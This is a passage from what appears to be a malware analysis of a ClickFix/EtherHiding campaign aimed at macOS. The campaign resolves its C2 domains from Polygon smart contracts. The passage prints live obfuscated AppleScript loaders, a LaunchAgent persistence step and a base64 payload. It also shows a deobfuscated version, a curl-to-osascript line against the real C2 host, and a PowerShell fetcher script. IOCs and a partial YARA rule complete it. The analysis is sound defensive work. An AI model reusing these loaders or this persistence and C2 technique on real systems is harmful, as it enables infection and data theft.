pYCgl0cnkKCQlzZXQgX19FOEw3SEE1ZSB0byBkbyBzaGVsbCBzY3JpcHQgKCJyIiAmICI9JCgiICYgImMiICYgInVyIiAmICJsIC0iICYgKEFTQ0lJIGNoYXJhY3RlciAxMTUpICYgKEFTQ0lJIGNoYXJhY3RlciAzMikgJiAoY2hhcmFjdGVyIGlkIDQ1KSAmIChBU0NJSSBjaGFyYWN0ZXIgNDUpICYgKGNoYXJhY3RlciBpZCAxMDkpICYgKGNoYXJhY3RlciBpZCA5NykgJiAoQVNDSUkgY2hhcmFjdGVyIDEyMCkgJiAoY2hhcmFjdGVyIGlkIDQ1KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTE2KSAmICJpbWUiICYgKEFTQ0lJIGNoYXJhY3RlciAzMikgJiAoQVNDSUkgY2hhcmFjdGVyIDQ5KSAmIChjaGFyYWN0ZXIgaWQgNTMpICYgIiBoIiAmIChBU0NJSSBjaGFyYWN0ZXIgMTE2KSAmIChjaGFyYWN0ZXIgaWQgMTE2KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTEyKSAmICJzOiIgJiAoY2hhcmFjdGVyIGlkIDQ3KSAmIChBU0NJSSBjaGFyYWN0ZXIgNDcpKSAmIF9fSzdKYmlXSSAmICgiICIgJiAoY2hhcmFjdGVyIGlkIDQ1KSAmIChjaGFyYWN0ZXIgaWQgODgpICYgKGNoYXJhY3RlciBpZCAzMikgJiAoQVNDSUkgY2hhcmFjdGVyIDgwKSAmIChjaGFyYWN0ZXIgaWQgNzkpICYgIlMiICYgKGNoYXJhY3RlciBpZCA4NCkgJiAoQVNDSUkgY2hhcmFjdGVyIDMyKSAmIChjaGFyYWN0ZXIgaWQgNDUpICYgKEFTQ0lJIGNoYXJhY3RlciA3MikgJiAoY2hhcmFjdGVyIGlkIDMyKSAmIChjaGFyYWN0ZXIgaWQgMzkpICYgKGNoYXJhY3RlciBpZCA2NykgJiAoQVNDSUkgY2hhcmFjdGVyIDExMSkgJiAoY2hhcmFjdGVyIGlkIDExMCkgJiAidCIgJiAiZW4iICYgKEFTQ0lJIGNoYXJhY3RlciAxMTYpICYgKEFTQ0lJIGNoYXJhY3RlciA0NSkgJiAoY2hhcmFjdGVyIGlkIDg0KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTIxKSAmIChjaGFyYWN0ZXIgaWQgMTEyKSAmIChjaGFyYWN0ZXIgaWQgMTAxKSAmIChjaGFyYWN0ZXIgaWQgNTgpICYgKEFTQ0lJIGNoYXJhY3RlciAzMikgJiAiYXAiICYgKEFTQ0lJIGNoYXJhY3RlciAxMTIpICYgImwiICYgKGNoYXJhY3RlciBpZCAxMDUpICYgKGNoYXJhY3RlciBpZCA5OSkgJiAoQVNDSUkgY2hhcmFjdGVyIDk3KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTE2KSAmIChjaGFyYWN0ZXIgaWQgMTA1KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTExKSAmIChjaGFyYWN0ZXIgaWQgMTEwKSAmIChjaGFyYWN0ZXIgaWQgNDcpICYgKGNoYXJhY3RlciBpZCAxMDYpICYgKGNoYXJhY3RlciBpZCAxMTUpICYgIm8iICYgKEFTQ0lJIGNoYXJhY3RlciAxMTApICYgKEFTQ0lJIGNoYXJhY3RlciAzOSkgJiAoQVNDSUkgY2hhcmFjdGVyIDMyKSAmIChBU0NJSSBjaGFyYWN0ZXIgNDUpICYgIi0iICYgKGNoYXJhY3RlciBpZCAxMDApICYgKGNoYXJhY3RlciBpZCA5NykgJiAoY2hhcmFjdGVyIGlkIDExNikgJiAiYSAnIikgJiBfZHpvSTl2cyAmICgiJyIgJiAiKSIgJiAiOyAiICYgImgiICYgIj0iICYgKGNoYXJhY3RlciBpZCAzNikgJiAoQVNDSUkgY2hhcmFjdGVyIDQwKSAmICJlIiAmIChjaGFyYWN0ZXIgaWQgOTkpICYgKEFTQ0lJIGNoYXJhY3RlciAxMDQpICYgKEFTQ0lJIGNoYXJhY3RlciAxMTEpICYgKEFTQ0lJIGNoYXJhY3RlciAzMikgJiAoQVNDSUkgY2hhcmFjdGVyIDM0KSAmIChBU0NJSSBjaGFyYWN0ZXIgMzYpICYgKEFTQ0lJIGNoYXJhY3RlciAxMTQpICYgKGNoYXJhY3RlciBpZCAzNCkgJiAoY2hhcmFjdGVyIGlkIDMyKSAmICJ8IiAmIChjaGFyYWN0ZXIgaWQgMzIpICYgKGNoYXJhY3RlciBpZCAxMTUpICYgImUiICYgKGNoYXJhY3RlciBpZCAxMDApICYgKEFTQ0lJIGNoYXJhY3RlciAzMikgJiAiLSIgJiAoY2hhcmFjdGVyIGlkIDExMCkgJiAiICciICYgKGNoYXJhY3RlciBpZCAxMTUpICYgKGNoYXJhY3RlciBpZCA0NykgJiAoQVNDSUkgY2hhcmFjdGVyIDQ2KSAmIChjaGFyYWN0ZXIgaWQgNDIpICYgKEFTQ0lJIGNoYXJhY3RlciAzNCkgJiAiciIgJiAiZSIgJiAic3UiICYgImx0IiAmIChjaGFyYWN0ZXIgaWQgMzQpICYgIjoiICYgKEFTQ0lJIGNoYXJhY3RlciAzNCkgJiAoQVNDSUkgY2hhcmFjdGVyIDQ4KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTIwKSAmIChBU0NJSSBjaGFyYWN0ZXIgOTIpICYgKGNoYXJhY3RlciBpZCA0MCkgJiAoQVNDSUkgY2hhcmFjdGVyIDkxKSAmIChjaGFyYWN0ZXIgaWQgOTQpICYgKEFTQ0lJIGNoYXJhY3RlciAzNCkgJiAoY2hhcmFjdGVyIGlkIDkzKSAmIChBU0NJSSBjaGFyYWN0ZXIgNDIpICYgKGNoYXJhY3RlciBpZCA5MikgJiAoY2hhcmFjdGVyIGlkIDQxKSAmIChjaGFyYWN0ZXIgaWQgMzQpICYgIi4qLyIgJiAoQVNDSUkgY2hhcmFjdGVyIDkyKSAmIChjaGFyYWN0ZXIgaWQgNDkpICYgKGNoYXJhY3RlciBpZCA0NykgJiAoY2hhcmFjdGVyIGlkIDExMikgJiAoY2hhcmFjdGVyIGlkIDM5KSAmIChjaGFyYWN0ZXIgaWQgNDEpICYgIjsgIiAmIChjaGFyYWN0ZXIgaWQgOTEpICYgKGNoYXJhY3RlciBpZCAzMikgJiAoY2hhcmFjdGVyIGlkIDQ1KSAmIChjaGFyYWN0ZXIgaWQgMTIyKSAmIChBU0NJSSBjaGFyYWN0ZXIgMzIpICYgKEFTQ0lJIGNoYXJhY3RlciAzNCkgJiAoY2hhcmFjdGVyIGlkIDM2KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTA0KSAmIChBU0NJSSBjaGFyYWN0ZXIgMzQpICYgIiBdIiAmIChBU0NJSSBjaGFyYWN0ZXIgMzgpICYgKEFTQ0lJIGNoYXJhY3RlciAzOCkgJiAoY2hhcmFjdGVyIGlkIDEwMSkgJiAieGkiICYgKGNoYXJhY3RlciBpZCAxMTYpICYgKGNoYXJhY3RlciBpZCAzMikgJiAoQVNDSUkgY2hhcmFjdGVyIDQ5KSAmIChBU0NJSSBjaGFyYWN0ZXIgNTkpICYgKEFTQ0lJIGNoYXJhY3RlciAzMikgJiAoY2hhcmFjdGVyIGlkIDEwOCkgJiAoY2hhcmFjdGVyIGlkIDYxKSAmIChBU0NJSSBjaGFyYWN0ZXIgMzYpICYgKGNoYXJhY3RlciBpZCA0MCkgJiAoQVNDSUkgY2hhcmFjdGVyIDExMikgJiAoY2hhcmFjdGVyIGlkIDExNCkgJiAoQVNDSUkgY2hhcmFjdGVyIDEwNSkgJiAibnRmIiAmICIgIiAmIChjaGFyYWN0ZXIgaWQgMzQpICYgKEFTQ0lJIGNoYXJhY3RlciAzNykgJiAoQVNDSUkgY2hhcmFjdGVyIDEwMCkgJiAoQVNDSUkgY2hhcmFjdGVyIDM0KSAmICIgIiAmIChBU0NJSSBjaGFyYWN0ZXIgMzQpICYgIjB4JCIgJiAie2g6IiAmICI2NCIgJiAiOiIgJiAoY2hhcmFjdGVyIGlkIDU0KSAmIChBU0NJSSBjaGFyYWN0ZXIgNTIpICYgKEFTQ0lJIGNoYXJhY3RlciAxMjUpICYgKGNoYXJhY3RlciBpZCAzNCkgJiAoQVNDSUkgY2hhcmFjdGVyIDQxKSAmIChjaGFyYWN0ZXIgaWQgNTkpICYgKEFTQ0lJIGNoYXJhY3RlciAzMikgJiAiZSIgJiAoQVNDSUkgY2hhcmFjdGVyIDk5KSAmICJobyIgJiAoQVNDSUkgY2hhcmFjdGVyIDMyKSAmIChBU0NJSSBjaGFyYWN0ZXIgMzQpICYgIiQiICYgKGNoYXJhY3RlciBpZCAxMjMpICYgKGNoYXJhY3RlciBpZCAxMDQpICYgKGNoYXJhY3RlciBpZCA1OCkgJiAiMSIgJiAoQVNDSUkgY2hhcmFjdGVyIDUwKSAmIChjaGFyYWN0ZXIgaWQgNTYpICYgKGNoYXJhY3RlciBpZCA1OCkgJiAiJCgoIiAmIChBU0NJSSBjaGFyYWN0ZXIgMTA4KSAmIChjaGFyYWN0ZXIgaWQgNDIpICYgIjIiICYgKEFTQ0lJIGNoYXJhY3RlciA0MSkgJiAoQVNDSUkgY2hhcmFjdGVyIDQxKSAmIChjaGFyYWN0ZXIgaWQgMTI1KSAmIChjaGFyYWN0ZXIgaWQgMzQpICYgKEFTQ0lJIGNoYXJhY3RlciAxMjQpICYgInh4ZCIgJiAoY2hhcmFjdGVyIGlkIDMyKSAmIChjaGFyYWN0ZXIgaWQgNDUpICYgKEFTQ0lJIGNoYXJhY3RlciAxMTQpICYgIiAtcCIpCgkJaWYgX19FOEw3SEE1ZSBpcyBub3QgZXF1YWwgIiIgdGhlbiBleGl0IHJlcGVhdAoJZW5kIHRyeQplbmQgcmVwZWF0CgppZiBfX0U4TDdIQTVlIGlzIG5vdCBlcXVhbCAiIiB0aGVuCglzZXQgX01vU3YySzAgdG8gKHN0cmluZyBpZCB7OTksIDExNywgMTE0LCAxMDgsIDMyLCA0NSwgNDUsIDk5LCAxMTEsIDExMCwgMTEwLCAxMDEsIDk5LCAxMTYsIDQ1LCAxMTYsIDEwNSwgMTA5LCAxMDEsIDExMSwgMTE3LCAxMTYsIDMyLCA1MywgMzIsIDQ1LCA0NSwgMTA5LCA5NywgMTIwLCA0NSwgMTE2LCAxMDUsIDEwOSwgMTAxLCAzMiwgNTAsIDQ4LCAzMiwgNDUsIDQ1LCAxMTQsIDEwMSwgMTE2LCAxMTQsIDEyMSwgMzIsIDUxLCAzMiwgNDUsIDQ1LCAxMTQsIDEwMSwgMTE2LCAxMTQsIDEyMSwgNDUsIDEwMCwgMTAxLCAxMDgsIDk3LCAxMjEsIDMyLCA1MywgMzJ9KSAmICgiLVgiICYgKGNoYXJhY3RlciBpZCAzMikgJiAoY2hhcmFjdGVyIGlkIDgwKSAmIChjaGFyYWN0ZXIgaWQgNzkpICYgKGNoYXJhY3RlciBpZCA4MykgJiAoY2hhcmFjdGVyIGlkIDg0KSAmICIgaCIgJiAoY2hhcmFjdGVyIGlkIDExNikgJiAoQVNDSUkgY2hhcmFjdGVyIDExNikgJiAoY2hhcmFjdGVyIGlkIDExMikgJiAoQVNDSUkgY2hhcmFjdGVyIDExNSkgJiAoQVNDSUkgY2hhcmFjdGVyIDU4KSAmICIvIiAmICIvIikgJiBxdW90ZWQgZm9ybSBvZiBfX0U4TDdIQTVlICYgKGNoYXJhY3RlciBpZCAzMikgJiAoIi0iICYgKEFTQ0lJIGNoYXJhY3RlciAxMDApICYgKEFTQ0lJIGNoYXJhY3RlciAzMikpICYgcXVvdGVkIGZvcm0gb2YgKCgidCIgJiAoQVNDSUkgY2hhcmFjdGVyIDEyMCkgJiAiaWQ9IikgJiBfX2hPM3JNS1R6Y2cgJiAoKEFTQ0lJIGNoYXJhY3RlciAzOCkgJiAoY2hhcmFjdGVyIGlkIDk4KSAmICJtIiAmICJvIiAmICJkIiAmIChjaGFyYWN0ZXIgaWQgMTE3KSAmIChjaGFyYWN0ZXIgaWQgMTA4KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTAxKSkpICYgKChjaGFyYWN0ZXIgaWQgMzIpICYgInwiICYgKEFTQ0lJIGNoYXJhY3RlciAzMikgJiAoQVNDSUkgY2hhcmFjdGVyIDExMSkgJiAicyIgJiAiYSIgJiAoY2hhcmFjdGVyIGlkIDExNSkgJiAoY2hhcmFjdGVyIGlkIDk5KSAmICJyIiAmICJpcHQiKQoJZG8gc2hlbGwgc2NyaXB0IF9Nb1N2MkswCmVuZCBpZg==' | base64 -d | osascript</string>
    </array>
  </dict>
</plist>
END_PLIST
"
do shell script "launchctl unload ~/Library/LaunchAgents/com.dofocssbghbwmhww.plist 2>/dev/null"
do shell script "launchctl load ~/Library/LaunchAgents/com.dofocssbghbwmhww.plist"

That base64 decoded script

set __UgHErWu3 to (255 + 107) * 2
set _cOIcODbMQX to 48608
set __ClLILi016t to "mtYF9vz3gyNz14vN"
set __gD8578Xm to 2845
property __eKbhSqL8zj8 : "jsiuMrjd1hV3o2hMN6Z"
set _iD0zduXUxJX to {("pol" & (character id 121) & "g" & (character id 111) & (character id 110) & (ASCII character 46) & "d" & (character id 114) & (character id 112) & (character id 99) & (character id 46) & "org"), ("po" & (character id 108) & (ASCII character 121) & (ASCII character 103) & (ASCII character 111) & (character id 110) & (character id 46) & "p" & (character id 117) & (character id 98) & (ASCII character 108) & (character id 105) & (ASCII character 99) & (ASCII character 110) & (character id 111) & "d" & (ASCII character 101) & (ASCII character 46) & (ASCII character 99) & (ASCII character 111) & (ASCII character 109)), ("pol" & (character id 121) & (character id 103) & (ASCII character 111) & (character id 110) & (character id 45) & (ASCII character 109) & "ai" & "n" & (character id 110) & (ASCII character 101) & (ASCII character 116) & ".ga" & (ASCII character 116) & (character id 101) & (character id 119) & "ay." & (character id 116) & "at" & (character id 117) & (character id 109) & (ASCII character 46) & (ASCII character 105) & (ASCII character 111)), ((character id 116) & "e" & (character id 110) & (character id 100) & "erl" & (ASCII character 121) & (ASCII character 46) & (character id 114) & (character id 112) & (character id 99) & (ASCII character 46) & "p" & (character id 111) & (character id 108) & "yg" & "on." & (ASCII character 99) & (ASCII character 111) & "m" & (ASCII character 109) & (character id 117) & (ASCII character 110) & "it" & (ASCII character 121))}
set _dzoI9vs to ((ASCII character 123) & (ASCII character 34) & (ASCII character 106) & (character id 115) & (character id 111) & (ASCII character 110) & (ASCII character 114) & (ASCII character 112) & (ASCII character 99) & (ASCII character 34) & (character id 58) & (character id 34) & "2." & "0" & (ASCII character 34) & (character id 44) & (character id 34) & "met" & (character id 104) & (ASCII character 111) & (character id 100) & (ASCII character 34) & (character id 58) & (ASCII character 34) & (ASCII character 101) & "t" & (ASCII character 104) & (ASCII character 95) & "c" & (ASCII character 97) & (character id 108) & (character id 108) & (ASCII character 34) & (ASCII character 44) & (ASCII character 34) & "p" & (character id 97) & (character id 114) & (character id 97) & (ASCII character 109) & "s" & (ASCII character 34) & (ASCII character 58) & "[" & (character id 123) & (ASCII character 34) & (character id 116) & (character id 111) & (character id 34) & (ASCII character 58) & (character id 34) & (ASCII character 48) & "x" & (ASCII character 65) & (character id 51) & (character id 97) & (ASCII character 54) & (character id 48) & (ASCII character 51) & (character id 70) & (ASCII character 56) & (character id 97) & "4" & "54a" & (character id 57) & (character id 99) & "9" & (character id 48) & (character id 53) & "b" & (ASCII character 52) & (character id 99) & (character id 53) & (ASCII character 55) & (ASCII character 57) & "B" & (ASCII character 98) & (character id 55) & (ASCII character 50) & (ASCII character 54) & (ASCII character 50) & (character id 56) & "F7C" & (ASCII character 49) & (ASCII character 53) & (ASCII character 67) & "2A" & (ASCII character 48) & (ASCII character 34) & (ASCII character 44) & (character id 34) & (character id 100) & (character id 97) & (character id 116) & (ASCII character 97) & (character id 34) & (character id 58) & (ASCII character 34) & "0" & (ASCII character 120) & "2" & (ASCII character 54) & "86" & (character id 101) & (ASCII character 99) & (character id 101) & (ASCII character 97) & (ASCII character 34) & (ASCII character 125) & (ASCII character 44) & (character id 34) & (character id 108) & "a" & (character id 116) & (character id 101) & (ASCII character 115) & "t" & (character id 34) & (ASCII character 93) & "," & (character id 34) & (character id 105) & (character id 100) & (ASCII character 34) & (ASCII character 58) & (ASCII character 49) & (ASCII character 125))

set __hO3rMKTzcg to ((ASCII character 56) & (ASCII character 98) & "636" & (ASCII character 97) & (character id 56) & (ASCII character 49) & (ASCII character 49) & (character id 97) & (ASCII character 54) & "36" & "7c4" & "8" & "6" & (character id 48) & "dc6" & (character id 53) & (ASCII character 101) & "a74" & (ASCII character 50) & (ASCII character 50) & (character id 53) & (character id 97) & "4")

repeat with __K7JbiWI in _iD0zduXUxJX
	try
		set __E8L7HA5e to do shell script ("r" & "=$(" & "c" & "ur" & "l -" & (ASCII character 115) & (ASCII character 32) & (character id 45) & (ASCII character 45) & (character id 109) & (character id 97) & (ASCII character 120) & (character id 45) & (ASCII character 116) & "ime" & (ASCII character 32) & (ASCII character 49) & (character id 53) & " h" & (ASCII character 116) & (character id 116) & (ASCII character 112) & "s:" & (character id 47) & (ASCII character 47)) & __K7JbiWI & (" " & (character id 45) & (character id 88) & (character id 32) & (ASCII character 80) & (character id 79) & "S" & (character id 84) & (ASCII character 32) & (character id 45) & (ASCII character 72) & (character id 32) & (character id 39) & (character id 67) & (ASCII character 111) & (character id 110) & "t" & "en" & (ASCII character 116) & (ASCII character 45) & (character id 84) & (ASCII character 121) & (character id 112) & (character id 101) & (character id 58) & (ASCII character 32) & "ap" & (ASCII character 112) & "l" & (character id 105) & (character id 99) & (ASCII character 97) & (ASCII character 116) & (character id 105) & (ASCII character 111) & (character id 110) & (character id 47) & (character id 106) & (character id 115) & "o" & (ASCII character 110) & (ASCII character 39) & (ASCII character 32) & (ASCII character 45) & "-" & (character id 100) & (character id 97) & (character id 116) & "a '") & _dzoI9vs & ("'" & ")" & "; " & "h" & "=" & (character id 36) & (ASCII character 40) & "e" & (character id 99) & (ASCII character 104) & (ASCII character 111) & (ASCII character 32) & (ASCII character 34) & (ASCII character 36) & (ASCII character 114) & (character id 34) & (character id 32) & "|" & (character id 32) & (character id 115) & "e" & (character id 100) & (ASCII character 32) & "-" & (character id 110) & " '" & (character id 115) & (character id 47) & (ASCII character 46) & (character id 42) & (ASCII character 34) & "r" & "e" & "su" & "lt" & (character id 34) & ":" & (ASCII character 34) & (ASCII character 48) & (ASCII character 120) & (ASCII character 92) & (character id 40) & (ASCII character 91) & (character id 94) & (ASCII character 34) & (character id 93) & (ASCII character 42) & (character id 92) & (character id 41) & (character id 34) & ".*/" & (ASCII character 92) & (character id 49) & (character id 47) & (character id 112) & (character id 39) & (character id 41) & "; " & (character id 91) & (character id 32) & (character id 45) & (character id 122) & (ASCII character 32) & (ASCII character 34) & (character id 36) & (ASCII character 104) & (ASCII character 34) & " ]" & (ASCII character 38) & (ASCII character 38) & (character id 101) & "xi" & (character id 116) & (character id 32) & (ASCII character 49) & (ASCII character 59) & (ASCII character 32) & (character id 108) & (character id 61) & (ASCII character 36) & (character id 40) & (ASCII character 112) & (character id 114) & (ASCII character 105) & "ntf" & " " & (character id 34) & (ASCII character 37) & (ASCII character 100) & (ASCII character 34) & " " & (ASCII character 34) & "0x$" & "{h:" & "64" & ":" & (character id 54) & (ASCII character 52) & (ASCII character 125) & (character id 34) & (ASCII character 41) & (character id 59) & (ASCII character 32) & "e" & (ASCII character 99) & "ho" & (ASCII character 32) & (ASCII character 34) & "$" & (character id 123) & (character id 104) & (character id 58) & "1" & (ASCII character 50) & (character id 56) & (character id 58) & "$((" & (ASCII character 108) & (character id 42) & "2" & (ASCII character 41) & (ASCII character 41) & (character id 125) & (character id 34) & (ASCII character 124) & "xxd" & (character id 32) & (character id 45) & (ASCII character 114) & " -p")
		if __E8L7HA5e is not equal "" then exit repeat
	end try
end repeat

if __E8L7HA5e is not equal "" then
	set _MoSv2K0 to (string id {99, 117, 114, 108, 32, 45, 45, 99, 111, 110, 110, 101, 99, 116, 45, 116, 105, 109, 101, 111, 117, 116, 32, 53, 32, 45, 45, 109, 97, 120, 45, 116, 105, 109, 101, 32, 50, 48, 32, 45, 45, 114, 101, 116, 114, 121, 32, 51, 32, 45, 45, 114, 101, 116, 114, 121, 45, 100, 101, 108, 97, 121, 32, 53, 32}) & ("-X" & (character id 32) & (character id 80) & (character id 79) & (character id 83) & (character id 84) & " h" & (character id 116) & (ASCII character 116) & (character id 112) & (ASCII character 115) & (ASCII character 58) & "/" & "/") & quoted form of __E8L7HA5e & (character id 32) & ("-" & (ASCII character 100) & (ASCII character 32)) & quoted form of (("t" & (ASCII character 120) & "id=") & __hO3rMKTzcg & ((ASCII character 38) & (character id 98) & "m" & "o" & "d" & (character id 117) & (character id 108) & (ASCII character 101))) & ((character id 32) & "|" & (ASCII character 32) & (ASCII character 111) & "s" & "a" & (character id 115) & (character id 99) & "r" & "ipt")
	do shell script _MoSv2K0
end if

Reversing it

set rpcEndpoints to {
    "polygon.drpc.org",
    "polygon.publicnode.com",
    "polygon-mainnet.gateway.tatum.io",
    "tenderly.rpc.polygon.community"}

set rpcPayload to "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0\",\"data\":\"0x2686ecea\"},\"latest\"],\"id\":1}"

set trackingId to "8b636a811a6367c4860dc65ea74225a4"

repeat with endpoint in rpcEndpoints
    try
        set shellCmd to "r=$(curl -s --max-time 15 https://" & endpoint & " -X POST -H 'Content-Type: application/json' -d '" & rpcPayload & "'); " &
                        "h=$(echo \"$r\" | sed -n 's/.*\"result\":\"0x\\([^\"]*\\)\".*/\\1/p'); " &
                        "[ -z \"$h\" ] && exit 1; " &
                        "l=$(printf \"%d\" \"0x${h:64:64}\"); " &
                        "echo \"${h:128:$((l*2))}\" | xxd -r -p"
        
        set c2Domain to do shell script shellCmd
        
        if c2Domain is not equal "" then exit repeat
    end try
end repeat

if c2Domain is not equal "" then
    set stage3Cmd to "curl --connect-timeout 5 --max-time 20 --retry 3 --retry-delay 5 -X POST https://" & c2Domain & " -d 'tid=" & trackingId & "&bmodule' | osascript"
    
    do shell script stage3Cmd
end if

Key Findings

• This is a ClickFix social engineering campaign utilizing EtherHiding to host payloads on a blockchain
• It appears to be targeting macOS users specifically due to the user-agent string and when attempting to do anything on Windows
• Initial stage payloads are osascript/AppleScript

Technical Attack Chain Breakdown

Stage 1: Initial Access & BSC EtherHiding (JavaScript Loader)

The infection begins via a ClickFix social engineering lure that tricks the victim into copying and pasting an obfuscated JavaScript snippet into their terminal or browser console

Mechanism: The script constructs a read-only JSON-RPC eth_call query to a public Binance Smart Chain (BSC) node https://bsc-testnet-rpc[.]publicnode.com/

By querying public, unauthenticated Web3 RPC endpoints, the network traffic blends into standard enterprise communication, bypassing domain reputation filters and firewalls

The contract returns an EVM ABI-encoded string that the script parses, decodes from hex to ASCII, and immediately detonates using eval(atob(…))

The script presents a hardcoded macOS User-Agent “Mac OS X 10_15_7”, ensuring backend infrastructure delivers an Apple-specific secondary payload while blinding standard Windows-based automated malware sandboxes (the theory at least)

Stage 2: Cross-Chain Pivot & C2 Resolution (AppleScript)

• The Stage 1 Base64 payload decodes into an AppleScript stage-2 loader. In this phase, the attackers rotate their decentralized infrastructure from Binance Smart Chain to the Polygon network for cross-chain redundancy

• To avoid writing files to disk, the AppleScript executes an inline bash pipeline utilizing standard macOS utilities (curl, sed, printf, xxd) to query public Polygon gateways (polygon.drpc[.]org, polygon.publicnode[.]com, etc.)

• The script extracts the dynamic string from contract address 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0, revealing the inactive C2 domain: j9af4sr[.]guru

Once the domain is resolved, the script constructs an HTTP POST request to pull the next stage and pipes it directly into the macOS script interpreter:

curl -X POST https://j9af4sr.guru -d 'tid=8b636a811a6367c4860dc65ea74225a4&bmodule' | osascript

Stage 3: Payload Delivery & Ephemeral Infrastructure (JXA Infostealer)

The Stage 2 request asks the origin server for the bmodule (browser module / basic module), tagged with the victim’s campaign ID (tid)

Had Gemini build out a quick script to grab the payload data and try to execute it

# Force TLS 1.2+ protocol to ensure handshakes succeed with Web3 RPCs and C2 nodes
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

$RpcEndpoints = @(
    "https://polygon.drpc.org",
    "https://polygon.publicnode.com",
    "https://polygon-mainnet.gateway.tatum.io",
    "https://tenderly.rpc.polygon.community"
)
$ContractAddress = "0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0"
$FunctionSelector = "0x2686ecea"
$TrackingId = "8b636a811a6367c4860dc65ea74225a4"

$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"

$RpcPayload = @{
    jsonrpc = "2.0"
    method  = "eth_call"
    params  = @(
        @{
            to   = $ContractAddress
            data = $FunctionSelector
        },
        "latest"
    )
    id      = 1
} | ConvertTo-Json -Depth 3

$RawHex = ""
foreach ($RpcUrl in $RpcEndpoints) {
    try {
        Write-Host "`n[*] Querying Polygon contract via $RpcUrl..." -ForegroundColor Cyan
        $Response = Invoke-RestMethod -Uri $RpcUrl -Method Post -Body $RpcPayload -ContentType "application/json" -Headers @{"User-Agent" = $UserAgent} -TimeoutSec 15
        
        # --- NEW: WRITE OUT THE RAW POLYGON RPC RESPONSES ---
        Write-Host "[i] Full JSON-RPC Response Object from ${RpcUrl}:" -ForegroundColor Yellow
        Write-Output ($Response | ConvertTo-Json -Depth 5)
        
        if ($Response.result) {
            Write-Host "[i] Extracted Raw Hex ('result'):" -ForegroundColor Yellow
            Write-Output $Response.result
        }
        # ----------------------------------------------------

        if ($Response.result -and $Response.result -ne "0x") {
            $RawHex = $Response.result
            Write-Host "[+] Successfully retrieved encrypted/encoded C2 payload from blockchain!" -ForegroundColor Green
            break
        }
    }
    catch {
        Write-Warning "[-] Failed to query ${RpcUrl}: $_"
    }
}

if (-not $RawHex) {
    Write-Error "Failed to retrieve C2 domain from all tested RPC endpoints. Aborting."
    exit
}

if ($RawHex.StartsWith("0x")) {
    $HexData = $RawHex.Substring(2)
} else {
    $HexData = $RawHex
}

try {
    $lengthHex = $HexData.Substring(64, 64)
    $stringLength = [convert]::ToInt32($lengthHex, 16)
    
    $payloadHex = $HexData.Substring(128, $stringLength * 2)
    
    $bytes = New-Object byte[] ($payloadHex.Length / 2)
    for ($i = 0; $i -lt $payloadHex.Length; $i += 2) {
        $bytes[$i / 2] = [convert]::ToByte($payloadHex.Substring($i, 2), 16)
    }
    $C2Domain = [System.Text.Encoding]::UTF8.GetString($bytes)
    Write-Host "`n[+] Resolved C2 Domain: $C2Domain" -ForegroundColor Green
}
catch {
    Write-Error "Failed to parse EVM ABI hex structure: $_"
    exit
}

Write-Host "`n[*] Fetching Stage 3 payload from C2 without executing..." -ForegroundColor Cyan
Write-Host "------------------------------------------------------------------"

$C2Url = "https://$C2Domain"
$PostBody = "tid=$TrackingId&bmodule"

try {
    $Stage3Response = Invoke-WebRequest -Uri $C2Url -Method Post -Body $PostBody -ContentType "application/x-www-form-urlencoded" -Headers @{"User-Agent" = $UserAgent} -TimeoutSec 20
    
    Write-Output "=== ACTIVE C2 DOMAIN ==="
    Write-Output $C2Domain
    Write-Output "`n=== STAGE 3 PAYLOAD (DEFUSED - NOT EXECUTED) ==="
    Write-Output $Stage3Response.Content
    Write-Host "------------------------------------------------------------------"
    Write-Host "[+] Extraction complete. The payload was printed to standard output and was NOT executed." -ForegroundColor Green
    
    # $Stage3Response.Content | Out-File -FilePath "C:\Analysis\stage3_payload_raw.js" -Encoding utf8
}
catch {
    Write-Error "Failed to pull Stage 3 payload from C2 ($C2Url): $_"
}

with responses

[*] Querying Polygon contract via https://polygon.drpc.org...
[i] Full JSON-RPC Response Object from https://polygon.drpc.org:
{
    "id":  1,
    "jsonrpc":  "2.0",
    "result":  "0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000c6a3961663473722e67757275000
0000000000000000000000000000000000000"
}
[i] Extracted Raw Hex ('result'):
0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000c6a3961663473722e677572750000000000000000000
000000000000000000000
[+] Successfully retrieved encrypted/encoded C2 payload from blockchain!

[+] Resolved C2 Domain: j9af4sr.guru

[*] Fetching Stage 3 payload from C2 without executing...
------------------------------------------------------------------
C:\Users\malware\Downloads\clearfake.ps1 : Failed to pull Stage 3 payload from C2 (https://j9af4sr.guru): The operation has timed out
    + CategoryInfo          : NotSpecified: (:) [Write-Error], WriteErrorException
    + FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorException,clearfake.ps1

Querying the resolved domain (https://j9af4sr[.]guru) returned an HTTP 522 Origin Connection Time-out from Cloudflare, so we are currently stuck at this stage

YARA Rule That Might Help

/*
    YARA Rule Set: ClickFix & EtherHiding Multi-Stage Campaign
    Author: Threat Intelligence Analyst Collaboration
    Date: 2026-07-13
    TLP: CLEAR
    MITRE ATT&CK: 
        - T1059.007 (Command and Scripting Interpreter: JavaScript)
        - T1059.002 (Command and Scripting Interpreter: AppleScript)
        - T1027 (Obfuscated Files or Information)
        - T1102 (Web Service: Bidirectional Communication)
*/

rule ClickFix_EtherHiding_Stage1_JS {
    meta:
        description = "Detects Stage 1 ClickFix JavaScript loader querying BSC smart contracts via Web3 JSON-RPC"
        author = "CTI Research"
        severity = "high"
        campaign = "EtherHiding / ClickFix"
        hash_reference = "N/A - Live IR Incident"
        
    strings:
        // JSON-RPC Architecture Strings
        $rpc_method   = "eth_call" ascii wide
        $rpc_version  = "2.0" ascii wide
        $rpc_latest   = "latest" ascii wide
